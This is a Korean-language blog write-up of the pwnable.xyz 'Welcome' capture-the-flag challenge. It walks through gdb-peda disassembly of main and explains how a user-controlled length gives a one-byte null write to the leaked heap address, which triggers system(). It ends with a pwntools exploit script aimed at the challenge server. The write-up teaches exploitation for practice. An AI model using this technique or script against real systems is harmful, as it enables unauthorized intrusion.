[pwnable.xyz] Welcome write up
pwnable.xyz 사이트의 첫번째 문제 Welcome 문제이다,
Excute
우선 실행해보면 아래 처럼 출력이 되는 것을 볼 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/01_welcome/image/challenge $ ./challenge
Welcome.
Leak: 0x7fb7e0f42010
Length of your message: 1
Enter your message: 1
Analyze
peda-gdb로 이번 문제를 분석해보겠다.
main 함수를 보려고 하니 찾을 수가 없다.
리눅스에서 main 함수의 주소를 찾기 위해서는 __libc_start_main 에 대해서 알아야 한다.
- main 함수 찾기
아래 사이트를 보면 설명이 잘 되어 있다.
위 내용을 요약해보면 main 함수의 호출 방법은 _start => __libc_start_main => main 함수 이다.
__libc_start_main의 인자 값 중 첫번째 인자가 main 함수의 주소이다.
gdb에서 __libc_start_main의 시작부분에 breakpoint를 걸어 __libc_start_main의 첫번째 인자 값을 확인해보자.
프로그램을 실행한 다음 b __libc_start_main에 breakpoint를 걸어준다.
그 후 다시 실행하면 __libc_start_main 의 첫번째 줄에 멈추게 된다.
빨간색 네모 박스에 __libc_start_main의 첫번째 인자값인 main 함수의 주소가 저장되어 있다.
0x555555554920 가 main 함수의 주소이다.
- main 함수 분석하기
main 함수의 주소를 알았으니 __libc_start_main의 breakpoint 를 지우고 0x555555554920에 breakpoint를 걸어준다.
gdb-peda$ d 1
gdb-peda$ b *0x555555554920
Breakpoint 2 at 0x555555554920
gdb-peda$
실행하면 main 함수에서 멈추게 된다.
main 함수의 전체를 보기 위해서 x/56i 0x555555554920 라고 명령어를 입력하면 볼 수 있다.
gdb-peda$ x/56i 0x0000555555554920
=> 0x555555554920: push rbp
0x555555554921: push rbx
0x555555554922: sub rsp,0x18
0x555555554926: mov rax,QWORD PTR fs:0x28
0x55555555492f: mov QWORD PTR [rsp+0x8],rax
0x555555554934: xor eax,eax
0x555555554936: call 0x555555554b4e
0x55555555493b: lea rdi,[rip+0x2e2] # 0x555555554c24
0x555555554942: call 0x5555555548b0 <puts@plt>
0x555555554947: mov edi,0x40000
0x55555555494c: call 0x5555555548e8 <malloc@plt>
0x555555554951: lea rsi,[rip+0x2d5] # 0x555555554c2d
0x555555554958: mov rdx,rax
0x55555555495b: mov rbx,rax
0x55555555495e: mov QWORD PTR [rax],0x1
0x555555554965: mov edi,0x1
0x55555555496a: xor eax,eax
0x55555555496c: call 0x5555555548f0 <__printf_chk@plt>
0x555555554971: lea rsi,[rip+0x2bf] # 0x555555554c37
0x555555554978: mov edi,0x1
0x55555555497d: xor eax,eax
0x55555555497f: call 0x5555555548f0 <__printf_chk@plt>
0x555555554984: lea rdi,[rip+0x2c5] # 0x555555554c50
0x55555555498b: mov rsi,rsp
0x55555555498e: xor eax,eax
0x555555554990: mov QWORD PTR [rsp],0x0
0x555555554998: call 0x555555554900 <__isoc99_scanf@plt>
0x55555555499d: mov rdi,QWORD PTR [rsp]
0x5555555549a1: call 0x5555555548e8 <malloc@plt>
0x5555555549a6: lea rsi,[rip+0x2a7] # 0x555555554c54
0x5555555549ad: mov rbp,rax
0x5555555549b0: mov edi,0x1
0x5555555549b5: xor eax,eax
0x5555555549b7: call 0x5555555548f0 <__printf_chk@plt>
0x5555555549bc: mov rdx,QWORD PTR [rsp]
0x5555555549c0: xor edi,edi
0x5555555549c2: mov rsi,rbp
0x5555555549c5: call 0x5555555548d8 <read@plt>
0x5555555549ca: mov rdx,QWORD PTR [rsp]
0x5555555549ce: mov rsi,rbp
0x5555555549d1: mov edi,0x1
0x5555555549d6: mov BYTE PTR [rbp+rdx*1-0x1],0x0
0x5555555549db: call 0x5555555548b8 <write@plt>
0x5555555549e0: cmp QWORD PTR [rbx],0x0
0x5555555549e4: jne 0x5555555549f2
0x5555555549e6: lea rdi,[rip+0x27c] # 0x555555554c69
0x5555555549ed: call 0x5555555548c8 <system@plt>
0x5555555549f2: xor eax,eax
0x5555555549f4: mov rcx,QWORD PTR [rsp+0x8]
0x5555555549f9: xor rcx,QWORD PTR fs:0x28
0x555555554a02: je 0x555555554a09
0x555555554a04: call 0x5555555548c0 <__stack_chk_fail@plt>
0x555555554a09: add rsp,0x18
0x555555554a0d: pop rbx
0x555555554a0e: pop rbp
0x555555554a0f: ret
gdb-peda$
첫번째 빨간색 박스를 보면, malloc 함수를 통해 0x40000 만큼 공간을 할당한다. return 값인 RAX(x64 에서 return 값은 RAX에 저장됨)는 주소값이 저장된다.
두번째 빨간색 박스를 보면, RAX에 저장된 주소에 참조된 값의 4btyes 값을 0x1로 대입한다. ( QWORD PTR [RAX], 0x1 )
세번째 빨간색 박스에서 RAX 주소를 출력한다.
네번째 박스에서, size를 입력받아 그 크기만큼 malloc 함수를 통해 메모리를 할당한다.
여기서 [rbp + rdx * 1 - 0x1] 에 저장된 주소를 참조하여 저장된 값을 0x0으로 바꾼다.
그 후 [rbx]의 주소에 저장된 값과 0x0을 비교하고 같으면 system 함수를 호출한다.
정리하면,
rbp와 rdx, rbx 가 무엇인지, 그리고 최종적으로 rbx가 0x0이 되어야 flag를 획득 할 수 있게 된다.
Write up
rbp와 rdx, rbx를 알기 위해 위 사진에서 첫번째 빨간색 박스에 breakpoint 를 걸어보겠다.
크기를 9로 하고, 입력값을 AAAAAAAA(8개)로 하여 값을 입력했다.
아까 breakpoint 걸어둔 곳에서 멈추었다.
이때의 register 값을 보면 아래와 같다.
RBP는 message 문자열이고, RDX는 문자열의 길이 임을 알 수 있다.
RBX는 위에서 0x40000 만큼 메모리를 할당한 후 0x1값을 대입한 값이다.
즉, 사용자가 입력한 문자열의 마지막 값을 0x0으로 바꾸고
RBX (0x40000 만큼 메모리를 할당한 후 0x1값을 대입한 레지스터) 의 값과 0x0을 비교하는 것이다.
RBX의 값을 0x1에서 0x0으로 바꾸기 위해서는
mov BYTE PTR [rbp+rdx*1-0x1],0x0
이 부분을 잘 이용해야 한다.
만약 크기를 입력하는 곳에 Leak 주소 + 0x1 을 입력하고,
message 를 입력하는 곳에 아무것도 입력을 하지 않는다면,
RBP = 0x0
RDX = Leak의 주소 + 0x1
이므로 BYTE PTR [rdx - 0x1] 와 같다.
RDX는 Leak의 주소이므로 RBX에 접근하여 0x1 값을 0x0으로 바꿀수 있게 된다.
Payload
python 없이 터미널로 flag 값을 획득해보면 아래와 같다.
Leak: 0x7f99540ae010 를 int로 바꾸면 140296516722704 이다. 여기서 1을 더해서 값을 입력하면 flag 값을 획득 할 수 있다.
python 으로 flag를 획득하려면 아래와 같다.
from pwn import *
p = remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: ")
addr = int(p.recv(14), 16)
p.recvuntil(":")
p.sendline(str(int(addr + 0x1)))
p.recvuntil(":")
p.send("")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] add write up (0) | 2019.12.28 |
---|---|
[pwnable.xyz] sub write up (0) | 2019.12.28 |
[LOB] - zombie_assassin -> succubus 풀이 (0) | 2019.10.06 |
[LOB] - giant -> assassin 풀이 (0) | 2019.10.06 |
[LOB] - darkknight -> bugbear 풀이 (0) | 2019.10.06 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] add write up
[pwnable.xyz] add write up
2019.12.28 -
[pwnable.xyz] sub write up
[pwnable.xyz] sub write up
2019.12.28 -
[LOB] - zombie_assassin -> succubus 풀이
[LOB] - zombie_assassin -> succubus 풀이
2019.10.06 -
[LOB] - giant -> assassin 풀이
[LOB] - giant -> assassin 풀이
2019.10.06